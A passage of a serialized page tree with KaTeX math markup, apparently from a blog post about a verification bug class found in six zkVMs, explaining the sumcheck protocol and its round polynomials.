",{"type":23,"tag":92,"props":108139,"children":108141},{"className":108140},[1183,1184],[108142],{"type":23,"tag":134,"props":108143,"children":108145},{"className":108144},[1189],[108146],{"type":23,"tag":134,"props":108147,"children":108149},{"className":108148,"ariaHidden":1195},[1194],[108150],{"type":23,"tag":134,"props":108151,"children":108153},{"className":108152},[1200],[108154,108158],{"type":23,"tag":134,"props":108155,"children":108157},{"className":108156,"style":21061},[1205],[],{"type":23,"tag":134,"props":108159,"children":108161},{"className":108160,"style":107757},[1211,21066],[108162],{"type":28,"value":108081},{"type":28,"value":108164},", which may allow it to choose ",{"type":23,"tag":92,"props":108166,"children":108168},{"className":108167},[1183,1184],[108169],{"type":23,"tag":134,"props":108170,"children":108172},{"className":108171},[1189],[108173],{"type":23,"tag":134,"props":108174,"children":108176},{"className":108175,"ariaHidden":1195},[1194],[108177],{"type":23,"tag":134,"props":108178,"children":108180},{"className":108179},[1200],[108181,108185],{"type":23,"tag":134,"props":108182,"children":108184},{"className":108183,"style":21061},[1205],[],{"type":23,"tag":134,"props":108186,"children":108188},{"className":108187,"style":107757},[1211,21066],[108189],{"type":28,"value":108081},{"type":28,"value":108191}," exactly so that the verification passes, even though it should not.",{"type":23,"tag":24,"props":108193,"children":108194},{},[108195],{"type":28,"value":108196},"This is the bug class we found in all six systems.",{"type":23,"tag":9072,"props":108198,"children":108200},{"id":108199},"the-sumcheck-protocol",[108201],{"type":28,"value":108202},"The Sumcheck Protocol",{"type":23,"tag":24,"props":108204,"children":108205},{},[108206,108208,108294],{"type":28,"value":108207},"The sumcheck protocol proves that a polynomial sums to a claimed value over the Boolean hypercube (all inputs in ",{"type":23,"tag":92,"props":108209,"children":108211},{"className":108210},[1183,1184],[108212],{"type":23,"tag":134,"props":108213,"children":108215},{"className":108214},[1189],[108216],{"type":23,"tag":134,"props":108217,"children":108219},{"className":108218,"ariaHidden":1195},[1194],[108220],{"type":23,"tag":134,"props":108221,"children":108223},{"className":108222},[1200],[108224,108228,108233,108238,108243,108247,108252],{"type":23,"tag":134,"props":108225,"children":108227},{"className":108226,"style":1313},[1205],[],{"type":23,"tag":134,"props":108229,"children":108231},{"className":108230},[21195],[108232],{"type":28,"value":76130},{"type":23,"tag":134,"props":108234,"children":108236},{"className":108235},[1211],[108237],{"type":28,"value":1224},{"type":23,"tag":134,"props":108239,"children":108241},{"className":108240},[1324],[108242],{"type":28,"value":1327},{"type":23,"tag":134,"props":108244,"children":108246},{"className":108245,"style":1331},[1292],[],{"type":23,"tag":134,"props":108248,"children":108250},{"className":108249},[1211],[108251],{"type":28,"value":1214},{"type":23,"tag":134,"props":108253,"children":108255},{"className":108254},[21217],[108256,108261],{"type":23,"tag":134,"props":108257,"children":108259},{"className":108258},[21217],[108260],{"type":28,"value":33637},{"type":23,"tag":134,"props":108262,"children":108264},{"className":108263},[1228],[108265],{"type":23,"tag":134,"props":108266,"children":108268},{"className":108267},[1233],[108269],{"type":23,"tag":134,"props":108270,"children":108272},{"className":108271},[1238],[108273],{"type":23,"tag":134,"props":108274,"children":108277},{"className":108275,"style":108276},[1243],"height:0.6644em;",[108278],{"type":23,"tag":134,"props":108279,"children":108280},{"style":1247},[108281,108285],{"type":23,"tag":134,"props":108282,"children":108284},{"className":108283,"style":1253},[1252],[],{"type":23,"tag":134,"props":108286,"children":108288},{"className":108287},[1258,1259,1260,1261],[108289],{"type":23,"tag":134,"props":108290,"children":108292},{"className":108291},[1211,21066,1261],[108293],{"type":28,"value":55910},{"type":28,"value":108295},"), i.e the claim:",{"type":23,"tag":24,"props":108297,"children":108298},{},[108299],{"type":23,"tag":92,"props":108300,"children":108302},{"className":108301},[1183,1184],[108303],{"type":23,"tag":134,"props":108304,"children":108306},{"className":108305},[1189],[108307],{"type":23,"tag":134,"props":108308,"children":108310},{"className":108309,"ariaHidden":1195},[1194],[108311,108337],{"type":23,"tag":134,"props":108312,"children":108314},{"className":108313},[1200],[108315,108319,108324,108328,108333],{"type":23,"tag":134,"props":108316,"children":108318},{"className":108317,"style":21061},[1205],[],{"type":23,"tag":134,"props":108320,"children":108322},{"className":108321,"style":92793},[1211,21066],[108323],{"type":28,"value":92796},{"type":23,"tag":134,"props":108325,"children":108327},{"className":108326,"style":1390},[1292],[],{"type":23,"tag":134,"props":108329,"children":108331},{"className":108330},[1395],[108332],{"type":28,"value":257},{"type":23,"tag":134,"props":108334,"children":108336},{"className":108335,"style":1390},[1292],[],{"type":23,"tag":134,"props":108338,"children":108340},{"className":108339},[1200],[108341,108345,108495,108499,108642,108646,108653,108657,108801,108805,108811,108816,108873,108878,108882,108939,108944,108948,108954,108958,108963,108967,109025],{"type":23,"tag":134,"props":108342,"children":108344},{"className":108343,"style":21097},[1205],[],{"type":23,"tag":134,"props":108346,"children":108348},{"className":108347},[21102],[108349,108355],{"type":23,"tag":134,"props":108350,"children":108352},{"className":108351,"style":21109},[21102,21107,21108],[108353],{"type":28,"value":108354},"∑",{"type":23,"tag":134,"props":108356,"children":108358},{"className":108357},[1228],[108359],{"type":23,"tag":134,"props":108360,"children":108362},{"className":108361},[1233,21120],[108363,108484],{"type":23,"tag":134,"props":108364,"children":108366},{"className":108365},[1238],[108367,108479],{"type":23,"tag":134,"props":108368,"children":108370},{"className":108369,"style":21129},[1243],[108371],{"type":23,"tag":134,"props":108372,"children":108373},{"style":21133},[108374,108378],{"type":23,"tag":134,"props":108375,"children":108377},{"className":108376,"style":1253},[1252],[],{"type":23,"tag":134,"props":108379,"children":108381},{"className":108380},[1258,1259,1260,1261],[108382],{"type":23,"tag":134,"props":108383,"children":108385},{"className":108384},[1211,1261],[108386,108449,108454,108459,108464,108469,108474],{"type":23,"tag":134,"props":108387,"children":108389},{"className":108388},[1211,1261],[108390,108395],{"type":23,"tag":134,"props":108391,"children":108393},{"className":108392},[1211,21066,1261],[108394],{"type":28,"value":18752},{"type":23,"tag":134,"props":108396,"children":108398},{"className":108397},[1228],[108399],{"type":23,"tag":134,"props":108400,"children":108402},{"className":108401},[1233,21120],[108403,108437],{"type":23,"tag":134,"props":108404,"children":108406},{"className":108405},[1238],[108407,108432],{"type":23,"tag":134,"props":108408,"children":108411},{"className":108409,"style":108410},[1243],"height:0.3173em;",[108412],{"type":23,"tag":134,"props":108413,"children":108415},{"style":108414},"top:-2.357em;margin-left:0em;margin-right:0.0714em;",[108416,108421],{"type":23,"tag":134,"props":108417,"children":108420},{"className":108418,"style":108419},[1252],"height:2.5em;",[],{"type":23,"tag":134,"props":108422,"children":108426},{"className":108423},[1258,108424,108425,1261],"reset-size3","size1",[108427],{"type":23,"tag":134,"props":108428,"children":108430},{"className":108429},[1211,1261],[108431],{"type":28,"value":1214},{"type":23,"tag":134,"props":108433,"children":108435},{"className":108434},[21223],[108436],{"type":28,"value":21226},{"type":23,"tag":134,"props":108438,"children":108440},{"className":108439},[1238],[108441],{"type":23,"tag":134,"props":108442,"children":108445},{"className":108443,"style":108444},[1243],"height:0.143em;",[108446],{"type":23,"tag":134,"props":108447,"children":108448},{},[],{"type":23,"tag":134,"props":108450,"children":108452},{"className":108451},[1395,1261],[108453],{"type":28,"value":21173},{"type":23,"tag":134,"props":108455,"children":108457},{"className":108456},[21195,1261],[108458],{"type":28,"value":76130},{"type":23,"tag":134,"props":108460,"children":108462},{"className":108461},[1211,1261],[108463],{"type":28,"value":1224},{"type":23,"tag":134,"props":108465,"children":108467},{"className":108466},[1324,1261],[108468],{"type":28,"value":1327},{"type":23,"tag":134,"props":108470,"children":108472},{"className":108471},[1211,1261],[108473],{"type":28,"value":1214},{"type":23,"tag":134,"props":108475,"children":108477},{"className":108476},[21217,1261],[108478],{"type":28,"value":33637},{"type":23,"tag":134,"props":108480,"children":108482},{"className":108481},[21223],[108483],{"type":28,"value":21226},{"type":23,"tag":134,"props":108485,"children":108487},{"className":108486},[1238],[108488],{"type":23,"tag":134,"props":108489,"children":108491},{"className":108490,"style":21234},[1243],[108492],{"type":23,"tag":134,"props":108493,"children":108494},{},[],{"type":23,"tag":134,"props":108496,"children":108498},{"className":108497,"style":1331},[1292],[],{"type":23,"tag":134,"props":108500,"children":108502},{"className":108501},[21102],[108503,108508],{"type":23,"tag":134,"props":108504,"children":108506},{"className":108505,"style":21109},[21102,21107,21108],[108507],{"type":28,"value":108354},{"type":23,"tag":134,"props":108509,"children":108511},{"className":108510},[1228],[108512],{"type":23,"tag":134,"props":108513,"children":108515},{"className":108514},[1233,21120],[108516,108631],{"type":23,"tag":134,"props":108517,"children":108519},{"className":108518},[1238],[108520,108626],{"type":23,"tag":134,"props":108521,"children":108523},{"className":108522,"style":21129},[1243],[108524],{"type":23,"tag":134,"props":108525,"children":108526},{"style":21133},[108527,108531],{"type":23,"tag":134,"props":108528,"children":108530},{"className":108529,"style":1253},[1252],[],{"type":23,"tag":134,"props":108532,"children":108534},{"className":108533},[1258,1259,1260,1261],[108535],{"type":23,"tag":134,"props":108536,"children":108538},{"className":108537},[1211,1261],[108539,108596,108601,108606,108611,108616,108621],{"type":23,"tag":134,"props":108540,"children":108542},{"className":108541},[1211,1261],[108543,108548],{"type":23,"tag":134,"props":108544,"children":108546},{"className":108545},[1211,21066,1261],[108547],{"type":28,"value":18752},{"type":23,"tag":134,"props":108549,"children":108551},{"className":108550},[1228],[108552],{"type":23,"tag":134,"props":108553,"children":108555},{"className":108554},[1233,21120],[108556,108585],{"type":23,"tag":134,"props":108557,"children":108559},{"className":108558},[1238],[108560,108580],{"type":23,"tag":134,"props":108561,"children":108563},{"className":108562,"style":108410},[1243],[108564],{"type":23,"tag":134,"props":108565,"children":108566},{"style":108414},[108567,108571],{"type":23,"tag":134,"props":108568,"children":108570},{"className":108569,"style":108419},[1252],[],{"type":23,"tag":134,"props":108572,"children":108574},{"className":108573},[1258,108424,108425,1261],[108575],{"type":23,"tag":134,"props":108576,"children":108578},{"className":108577},[1211,1261],[108579],{"type":28,"value":291},{"type":23,"tag":134,"props":108581,"children":108583},{"className":108582},[21223],[108584],{"type":28,"value":21226},{"type":23,"tag":134,"props":108586,"children":108588},{"className":108587},[1238],[108589],{"type":23,"tag":134,"props":108590,"children":108592},{"className":108591,"style":108444},[1243],[108593],{"type":23,"tag":134,"props":108594,"children":108595},{},[],{"type":23,"tag":134,"props":108597,"children":108599},{"className":108598},[1395,1261],[108600],{"type":28,"value":21173},{"type":23,"tag":134,"props":108602,"children":108604},{"className":108603},[21195,1261],[108605],{"type":28,"value":76130},{"type":23,"tag":134,"props":108607,"children":108609},{"className":108608},[1211,1261],[108610],{"type":28,"value":1224},{"type":23,"tag":134,"props":108612,"children":108614},{"className":108613},[1324,1261],[108615],{"type":28,"value":1327},{"type":23,"tag":134,"props":108617,"children":108619},{"className":108618},[1211,1261],[108620],{"type":28,"value":1214},{"type":23,"tag":134,"props":108622,"children":108624},{"className":108623},[21217,1261],[108625],{"type":28,"value":33637},{"type":23,"tag":134,"props":108627,"children":108629},{"className":108628},[21223],[108630],{"type":28,"value":21226},{"type":23,"tag":134,"props":108632,"children":108634},{"className":108633},[1238],[108635],{"type":23,"tag":134,"props":108636,"children":108638},{"className":108637,"style":21234},[1243],[108639],{"type":23,"tag":134,"props":108640,"children":108641},{},[],{"type":23,"tag":134,"props":108643,"children":108645},{"className":108644,"style":1331},[1292],[],{"type":23,"tag":134,"props":108647,"children":108650},{"className":108648},[108649],"minner",[108651],{"type":28,"value":108652},"⋯",{"type":23,"tag":134,"props":108654,"children":108656},{"className":108655,"style":1331},[1292],[],{"type":23,"tag":134,"props":108658,"children":108660},{"className":108659},[21102],[108661,108666],{"type":23,"tag":134,"props":108662,"children":108664},{"className":108663,"style":21109},[21102,21107,21108],[108665],{"type":28,"value":108354},{"type":23,"tag":134,"props":108667,"children":108669},{"className":108668},[1228],[108670],{"type":23,"tag":134,"props":108671,"children":108673},{"className":108672},[1233,21120],[108674,108790],{"type":23,"tag":134,"props":108675,"children":108677},{"className":108676},[1238],[108678,108785],{"type":23,"tag":134,"props":108679,"children":108681},{"className":108680,"style":21129},[1243],[108682],{"type":23,"tag":134,"props":108683,"children":108684},{"style":21133},[108685,108689],{"type":23,"tag":134,"props":108686,"children":108688},{"className":108687,"style":1253},[1252],[],{"type":23,"tag":134,"props":108690,"children":108692},{"className":108691},[1258,1259,1260,1261],[108693],{"type":23,"tag":134,"props":108694,"children":108696},{"className":108695},[1211,1261],[108697,108755,108760,108765,108770,108775,108780],{"type":23,"tag":134,"props":108698,"children":108700},{"className":108699},[1211,1261],[108701,108706],{"type":23,"tag":134,"props":108702,"children":108704},{"className":108703},[1211,21066,1261],[108705],{"type":28,"value":18752},{"type":23,"tag":134,"props":108707,"children":108709},{"className":108708},[1228],[108710],{"type":23,"tag":134,"props":108711,"children":108713},{"className":108712},[1233,21120],[108714,108744],{"type":23,"tag":134,"props":108715,"children":108717},{"className":108716},[1238],[108718,108739],{"type":23,"tag":134,"props":108719,"children":108722},{"className":108720,"style":108721},[1243],"height:0.1645em;",[108723],{"type":23,"tag":134,"props":108724,"children":108725},{"style":108414},[108726,108730],{"type":23,"tag":134,"props":108727,"children":108729},{"className":108728,"style":108419},[1252],[],{"type":23,"tag":134,"props":108731,"children":108733},{"className":108732},[1258,108424,108425,1261],[108734],{"type":23,"tag":134,"props":108735,"children":108737},{"className":108736},[1211,21066,1261],[108738],{"type":28,"value":55910},{"type":23,"tag":134,"props":108740,"children":108742},{"className":108741},[21223],[108743],{"type":28,"value":21226},{"type":23,"tag":134,"props":108745,"children":108747},{"className":108746},[1238],[108748],{"type":23,"tag":134,"props":108749,"children":108751},{"className":108750,"style":108444},[1243],[108752],{"type":23,"tag":134,"props":108753,"children":108754},{},[],{"type":23,"tag":134,"props":108756,"children":108758},{"className":108757},[1395,1261],[108759],{"type":28,"value":21173},{"type":23,"tag":134,"props":108761,"children":108763},{"className":108762},[21195,1261],[108764],{"type":28,"value":76130},{"type":23,"tag":134,"props":108766,"children":108768},{"className":108767},[1211,1261],[108769],{"type":28,"value":1224},{"type":23,"tag":134,"props":108771,"children":108773},{"className":108772},[1324,1261],[108774],{"type":28,"value":1327},{"type":23,"tag":134,"props":108776,"children":108778},{"className":108777},[1211,1261],[108779],{"type":28,"value":1214},{"type":23,"tag":134,"props":108781,"children":108783},{"className":108782},[21217,1261],[108784],{"type":28,"value":33637},{"type":23,"tag":134,"props":108786,"children":108788},{"className":108787},[21223],[108789],{"type":28,"value":21226},{"type":23,"tag":134,"props":108791,"children":108793},{"className":108792},[1238],[108794],{"type":23,"tag":134,"props":108795,"children":108797},{"className":108796,"style":21234},[1243],[108798],{"type":23,"tag":134,"props":108799,"children":108800},{},[],{"type":23,"tag":134,"props":108802,"children":108804},{"className":108803,"style":1331},[1292],[],{"type":23,"tag":134,"props":108806,"children":108808},{"className":108807,"style":93045},[1211,21066],[108809],{"type":28,"value":108810},"g",{"type":23,"tag":134,"props":108812,"children":108814},{"className":108813},[21195],[108815],{"type":28,"value":272},{"type":23,"tag":134,"props":108817,"children":108819},{"className":108818},[1211],[108820,108825],{"type":23,"tag":134,"props":108821,"children":108823},{"className":108822},[1211,21066],[108824],{"type":28,"value":18752},{"type":23,"tag":134,"props":108826,"children":108828},{"className":108827},[1228],[108829],{"type":23,"tag":134,"props":108830,"children":108832},{"className":108831},[1233,21120],[108833,108862],{"type":23,"tag":134,"props":108834,"children":108836},{"className":108835},[1238],[108837,108857],{"type":23,"tag":134,"props":108838,"children":108840},{"className":108839,"style":92611},[1243],[108841],{"type":23,"tag":134,"props":108842,"children":108843},{"style":92615},[108844,108848],{"type":23,"tag":134,"props":108845,"children":108847},{"className":108846,"style":1253},[1252],[],{"type":23,"tag":134,"props":108849,"children":108851},{"className":108850},[1258,1259,1260,1261],[108852],{"type":23,"tag":134,"props":108853,"children":108855},{"className":108854},[1211,1261],[108856],{"type":28,"value":1214},{"type":23,"tag":134,"props":108858,"children":108860},{"className":108859},[21223],[108861],{"type":28,"value":21226},{"type":23,"tag":134,"props":108863,"children":108865},{"className":108864},[1238],[108866],{"type":23,"tag":134,"props":108867,"children":108869},{"className":108868,"style":92642},[1243],[108870],{"type":23,"tag":134,"props":108871,"children":108872},{},[],{"type":23,"tag":134,"props":108874,"children":108876},{"className":108875},[1324],[108877],{"type":28,"value":1327},{"type":23,"tag":134,"props":108879,"children":108881},{"className":108880,"style":1331},[1292],[],{"type":23,"tag":134,"props":108883,"children":108885},{"className":108884},[1211],[108886,108891],{"type":23,"tag":134,"props":108887,"children":108889},{"className":108888},[1211,21066],[108890],{"type":28,"value":18752},{"type":23,"tag":134,"props":108892,"children":108894},{"className":108893},[1228],[108895],{"type":23,"tag":134,"props":108896,"children":108898},{"className":108897},[1233,21120],[108899,108928],{"type":23,"tag":134,"props":108900,"children":108902},{"className":108901},[1238],[108903,108923],{"type":23,"tag":134,"props":108904,"children":108906},{"className":108905,"style":92611},[1243],[108907],{"type":23,"tag":134,"props":108908,"children":108909},{"style":92615},[108910,108914],{"type":23,"tag":134,"props":108911,"children":108913},{"className":108912,"style":1253},[1252],[],{"type":23,"tag":134,"props":108915,"children":108917},{"className":108916},[1258,1259,1260,1261],[108918],{"type":23,"tag":134,"props":108919,"children":108921},{"className":108920},[1211,1261],[108922],{"type":28,"value":291},{"type":23,"tag":134,"props":108924,"children":108926},{"className":108925},[21223],[108927],{"type":28,"value":21226},{"type":23,"tag":134,"props":108929,"children":108931},{"className":108930},[1238],[108932],{"type":23,"tag":134,"props":108933,"children":108935},{"className":108934,"style":92642},[1243],[108936],{"type":23,"tag":134,"props":108937,"children":108938},{},[],{"type":23,"tag":134,"props":108940,"children":108942},{"className":108941},[1324],[108943],{"type":28,"value":1327},{"type":23,"tag":134,"props":108945,"children":108947},{"className":108946,"style":1331},[1292],[],{"type":23,"tag":134,"props":108949,"children":108951},{"className":108950},[108649],[108952],{"type":28,"value":108953},"…",{"type":23,"tag":134,"props":108955,"children":108957},{"className":108956,"style":1331},[1292],[],{"type":23,"tag":134,"props":108959,"children":108961},{"className":108960},[1324],[108962],{"type":28,"value":1327},{"type":23,"tag":134,"props":108964,"children":108966},{"className":108965,"style":1331},[1292],[],{"type":23,"tag":134,"props":108968,"children":108970},{"className":108969},[1211],[108971,108976],{"type":23,"tag":134,"props":108972,"children":108974},{"className":108973},[1211,21066],[108975],{"type":28,"value":18752},{"type":23,"tag":134,"props":108977,"children":108979},{"className":108978},[1228],[108980],{"type":23,"tag":134,"props":108981,"children":108983},{"className":108982},[1233,21120],[108984,109014],{"type":23,"tag":134,"props":108985,"children":108987},{"className":108986},[1238],[108988,109009],{"type":23,"tag":134,"props":108989,"children":108992},{"className":108990,"style":108991},[1243],"height:0.1514em;",[108993],{"type":23,"tag":134,"props":108994,"children":108995},{"style":92615},[108996,109000],{"type":23,"tag":134,"props":108997,"children":108999},{"className":108998,"style":1253},[1252],[],{"type":23,"tag":134,"props":109001,"children":109003},{"className":109002},[1258,1259,1260,1261],[109004],{"type":23,"tag":134,"props":109005,"children":109007},{"className":109006},[1211,21066,1261],[109008],{"type":28,"value":55910},{"type":23,"tag":134,"props":109010,"children":109012},{"className":109011},[21223],[109013],{"type":28,"value":21226},{"type":23,"tag":134,"props":109015,"children":109017},{"className":109016},[1238],[109018],{"type":23,"tag":134,"props":109019,"children":109021},{"className":109020,"style":92642},[1243],[109022],{"type":23,"tag":134,"props":109023,"children":109024},{},[],{"type":23,"tag":134,"props":109026,"children":109028},{"className":109027},[21217],[109029],{"type":28,"value":296},{"type":23,"tag":24,"props":109031,"children":109032},{},[109033,109035,109096],{"type":28,"value":109034},"The naive approach would be for the verifier to compute all ",{"type":23,"tag":92,"props":109036,"children":109038},{"className":109037},[1183,1184],[109039],{"type":23,"tag":134,"props":109040,"children":109042},{"className":109041},[1189],[109043],{"type":23,"tag":134,"props":109044,"children":109046},{"className":109045,"ariaHidden":1195},[1194],[109047],{"type":23,"tag":134,"props":109048,"children":109050},{"className":109049},[1200],[109051,109055],{"type":23,"tag":134,"props":109052,"children":109054},{"className":109053,"style":108276},[1205],[],{"type":23,"tag":134,"props":109056,"children":109058},{"className":109057},[1211],[109059,109064],{"type":23,"tag":134,"props":109060,"children":109062},{"className":109061},[1211],[109063],{"type":28,"value":291},{"type":23,"tag":134,"props":109065,"children":109067},{"className":109066},[1228],[109068],{"type":23,"tag":134,"props":109069,"children":109071},{"className":109070},[1233],[109072],{"type":23,"tag":134,"props":109073,"children":109075},{"className":109074},[1238],[109076],{"type":23,"tag":134,"props":109077,"children":109079},{"className":109078,"style":108276},[1243],[109080],{"type":23,"tag":134,"props":109081,"children":109082},{"style":1247},[109083,109087],{"type":23,"tag":134,"props":109084,"children":109086},{"className":109085,"style":1253},[1252],[],{"type":23,"tag":134,"props":109088,"children":109090},{"className":109089},[1258,1259,1260,1261],[109091],{"type":23,"tag":134,"props":109092,"children":109094},{"className":109093},[1211,21066,1261],[109095],{"type":28,"value":55910},{"type":28,"value":109097}," evaluations. This is exponentially expensive.",{"type":23,"tag":24,"props":109099,"children":109100},{},[109101,109103,109108],{"type":28,"value":109102},"The sumcheck protocol is a clever interactive protocol that reduces the exponential number of polynomial evaluations to checking ",{"type":23,"tag":2532,"props":109104,"children":109105},{},[109106],{"type":28,"value":109107},"only one",{"type":28,"value":720},{"type":23,"tag":24,"props":109110,"children":109111},{},[109112],{"type":23,"tag":1116,"props":109113,"children":109116},{"alt":109114,"src":109115},"sumcheck_v2","/posts/zkvms-unfaithful-claims/sumcheck_v2.svg",[],{"type":23,"tag":24,"props":109118,"children":109119},{},[109120,109122,109214,109216,109401,109403,109428,109430,109508,109510,109589],{"type":28,"value":109121},"In each round, the prover must send a polynomial ",{"type":23,"tag":92,"props":109123,"children":109125},{"className":109124},[1183,1184],[109126],{"type":23,"tag":134,"props":109127,"children":109129},{"className":109128},[1189],[109130],{"type":23,"tag":134,"props":109131,"children":109133},{"className":109132,"ariaHidden":1195},[1194],[109134],{"type":23,"tag":134,"props":109135,"children":109137},{"className":109136},[1200],[109138,109142,109199,109204,109209],{"type":23,"tag":134,"props":109139,"children":109141},{"className":109140,"style":1313},[1205],[],{"type":23,"tag":134,"props":109143,"children":109145},{"className":109144},[1211],[109146,109151],{"type":23,"tag":134,"props":109147,"children":109149},{"className":109148,"style":93045},[1211,21066],[109150],{"type":28,"value":108810},{"type":23,"tag":134,"props":109152,"children":109154},{"className":109153},[1228],[109155],{"type":23,"tag":134,"props":109156,"children":109158},{"className":109157},[1233,21120],[109159,109188],{"type":23,"tag":134,"props":109160,"children":109162},{"className":109161},[1238],[109163,109183],{"type":23,"tag":134,"props":109164,"children":109166},{"className":109165,"style":93088},[1243],[109167],{"type":23,"tag":134,"props":109168,"children":109169},{"style":93092},[109170,109174],{"type":23,"tag":134,"props":109171,"children":109173},{"className":109172,"style":1253},[1252],[],{"type":23,"tag":134,"props":109175,"children":109177},{"className":109176},[1258,1259,1260,1261],[109178],{"type":23,"tag":134,"props":109179,"children":109181},{"className":109180},[1211,21066,1261],[109182],{"type":28,"value":929},{"type":23,"tag":134,"props":109184,"children":109186},{"className":109185},[21223],[109187],{"type":28,"value":21226},{"type":23,"tag":134,"props":109189,"children":109191},{"className":109190},[1238],[109192],{"type":23,"tag":134,"props":109193,"children":109195},{"className":109194,"style":92642},[1243],[109196],{"type":23,"tag":134,"props":109197,"children":109198},{},[],{"type":23,"tag":134,"props":109200,"children":109202},{"className":109201},[21195],[109203],{"type":28,"value":272},{"type":23,"tag":134,"props":109205,"children":109207},{"className":109206,"style":94579},[1211,21066],[109208],{"type":28,"value":5590},{"type":23,"tag":134,"props":109210,"children":109212},{"className":109211},[21217],[109213],{"type":28,"value":296},{"type":28,"value":109215}," such that ",{"type":23,"tag":92,"props":109217,"children":109219},{"className":109218},[1183,1184],[109220],{"type":23,"tag":134,"props":109221,"children":109223},{"className":109222},[1189],[109224],{"type":23,"tag":134,"props":109225,"children":109227},{"className":109226,"ariaHidden":1195},[1194],[109228,109321],{"type":23,"tag":134,"props":109229,"children":109231},{"className":109230},[1200],[109232,109236,109293,109298,109303,109308,109312,109317],{"type":23,"tag":134,"props":109233,"children":109235},{"className":109234,"style":1313},[1205],[],{"type":23,"tag":134,"props":109237,"children":109239},{"className":109238},[1211],[109240,109245],{"type":23,"tag":134,"props":109241,"children":109243},{"className":109242,"style":93045},[1211,21066],[109244],{"type":28,"value":108810},{"type":23,"tag":134,"props":109246,"children":109248},{"className":109247},[1228],[109249],{"type":23,"tag":134,"props":109250,"children":109252},{"className":109251},[1233,21120],[109253,109282],{"type":23,"tag":134,"props":109254,"children":109256},{"className":109255},[1238],[109257,109277],{"type":23,"tag":134,"props":109258,"children":109260},{"className":109259,"style":93088},[1243],[109261],{"type":23,"tag":134,"props":109262,"children":109263},{"style":93092},[109264,109268],{"type":23,"tag":134,"props":109265,"children":109267},{"className":109266,"style":1253},[1252],[],{"type":23,"tag":134,"props":109269,"children":109271},{"className":109270},[1258,1259,1260,1261],[109272],{"type":23,"tag":134,"props":109273,"children":109275},{"className":109274},[1211,21066,1261],[109276],{"type":28,"value":929},{"type":23,"tag":134,"props":109278,"children":109280},{"className":109279},[21223],[109281],{"type":28,"value":21226},{"type":23,"tag":134,"props":109283,"children":109285},{"className":109284},[1238],[109286],{"type":23,"tag":134,"props":109287,"children":109289},{"className":109288,"style":92642},[1243],[109290],{"type":23,"tag":134,"props":109291,"children":109292},{},[],{"type":23,"tag":134,"props":109294,"children":109296},{"className":109295},[21195],[109297],{"type":28,"value":272},{"type":23,"tag":134,"props":109299,"children":109301},{"className":109300},[1211],[109302],{"type":28,"value":1224},{"type":23,"tag":134,"props":109304,"children":109306},{"className":109305},[21217],[109307],{"type":28,"value":296},{"type":23,"tag":134,"props":109309,"children":109311},{"className":109310,"style":1293},[1292],[],{"type":23,"tag":134,"props":109313,"children":109315},{"className":109314},[1298],[109316],{"type":28,"value":1586},{"type":23,"tag":134,"props":109318,"children":109320},{"className":109319,"style":1293},[1292],[],{"type":23,"tag":134,"props":109322,"children":109324},{"className":109323},[1200],[109325,109329,109386,109391,109396],{"type":23,"tag":134,"props":109326,"children":109328},{"className":109327,"style":1313},[1205],[],{"type":23,"tag":134,"props":109330,"children":109332},{"className":109331},[1211],[109333,109338],{"type":23,"tag":134,"props":109334,"children":109336},{"className":109335,"style":93045},[1211,21066],[109337],{"type":28,"value":108810},{"type":23,"tag":134,"props":109339,"children":109341},{"className":109340},[1228],[109342],{"type":23,"tag":134,"props":109343,"children":109345},{"className":109344},[1233,21120],[109346,109375],{"type":23,"tag":134,"props":109347,"children":109349},{"className":109348},[1238],[109350,109370],{"type":23,"tag":134,"props":109351,"children":109353},{"className":109352,"style":93088},[1243],[109354],{"type":23,"tag":134,"props":109355,"children":109356},{"style":93092},[109357,109361],{"type":23,"tag":134,"props":109358,"children":109360},{"className":109359,"style":1253},[1252],[],{"type":23,"tag":134,"props":109362,"children":109364},{"className":109363},[1258,1259,1260,1261],[109365],{"type":23,"tag":134,"props":109366,"children":109368},{"className":109367},[1211,21066,1261],[109369],{"type":28,"value":929},{"type":23,"tag":134,"props":109371,"children":109373},{"className":109372},[21223],[109374],{"type":28,"value":21226},{"type":23,"tag":134,"props":109376,"children":109378},{"className":109377},[1238],[109379],{"type":23,"tag":134,"props":109380,"children":109382},{"className":109381,"style":92642},[1243],[109383],{"type":23,"tag":134,"props":109384,"children":109385},{},[],{"type":23,"tag":134,"props":109387,"children":109389},{"className":109388},[21195],[109390],{"type":28,"value":272},{"type":23,"tag":134,"props":109392,"children":109394},{"className":109393},[1211],[109395],{"type":28,"value":1214},{"type":23,"tag":134,"props":109397,"children":109399},{"className":109398},[21217],[109400],{"type":28,"value":296},{"type":28,"value":109402}," equals the previous claim. If the prover is lying about the original sum ",{"type":23,"tag":92,"props":109404,"children":109406},{"className":109405},[1183,1184],[109407],{"type":23,"tag":134,"props":109408,"children":109410},{"className":109409},[1189],[109411],{"type":23,"tag":134,"props":109412,"children":109414},{"className":109413,"ariaHidden":1195},[1194],[109415],{"type":23,"tag":134,"props":109416,"children":109418},{"className":109417},[1200],[109419,109423],{"type":23,"tag":134,"props":109420,"children":109422},{"className":109421,"style":21061},[1205],[],{"type":23,"tag":134,"props":109424,"children":109426},{"className":109425,"style":92793},[1211,21066],[109427],{"type":28,"value":92796},{"type":28,"value":109429},", then they must lie about ",{"type":23,"tag":92,"props":109431,"children":109433},{"className":109432},[1183,1184],[109434],{"type":23,"tag":134,"props":109435,"children":109437},{"className":109436},[1189],[109438],{"type":23,"tag":134,"props":109439,"children":109441},{"className":109440,"ariaHidden":1195},[1194],[109442],{"type":23,"tag":134,"props":109443,"children":109445},{"className":109444},[1200],[109446,109451],{"type":23,"tag":134,"props":109447,"children":109450},{"className":109448,"style":109449},[1205],"height:0.625em;vertical-align:-0.1944em;",[],{"type":23,"tag":134,"props":109452,"children":109454},{"className":109453},[1211],[109455,109460],{"type":23,"tag":134,"props":109456,"children":109458},{"className":109457,"style":93045},[1211,21066],[109459],{"type":28,"value":108810},{"type":23,"tag":134,"props":109461,"children":109463},{"className":109462},[1228],[109464],{"type":23,"tag":134,"props":109465,"children":109467},{"className":109466},[1233,21120],[109468,109497],{"type":23,"tag":134,"props":109469,"children":109471},{"className":109470},[1238],[109472,109492],{"type":23,"tag":134,"props":109473,"children":109475},{"className":109474,"style":93088},[1243],[109476],{"type":23,"tag":134,"props":109477,"children":109478},{"style":93092},[109479,109483],{"type":23,"tag":134,"props":109480,"children":109482},{"className":109481,"style":1253},[1252],[],{"type":23,"tag":134,"props":109484,"children":109486},{"className":109485},[1258,1259,1260,1261],[109487],{"type":23,"tag":134,"props":109488,"children":109490},{"className":109489},[1211,21066,1261],[109491],{"type":28,"value":929},{"type":23,"tag":134,"props":109493,"children":109495},{"className":109494}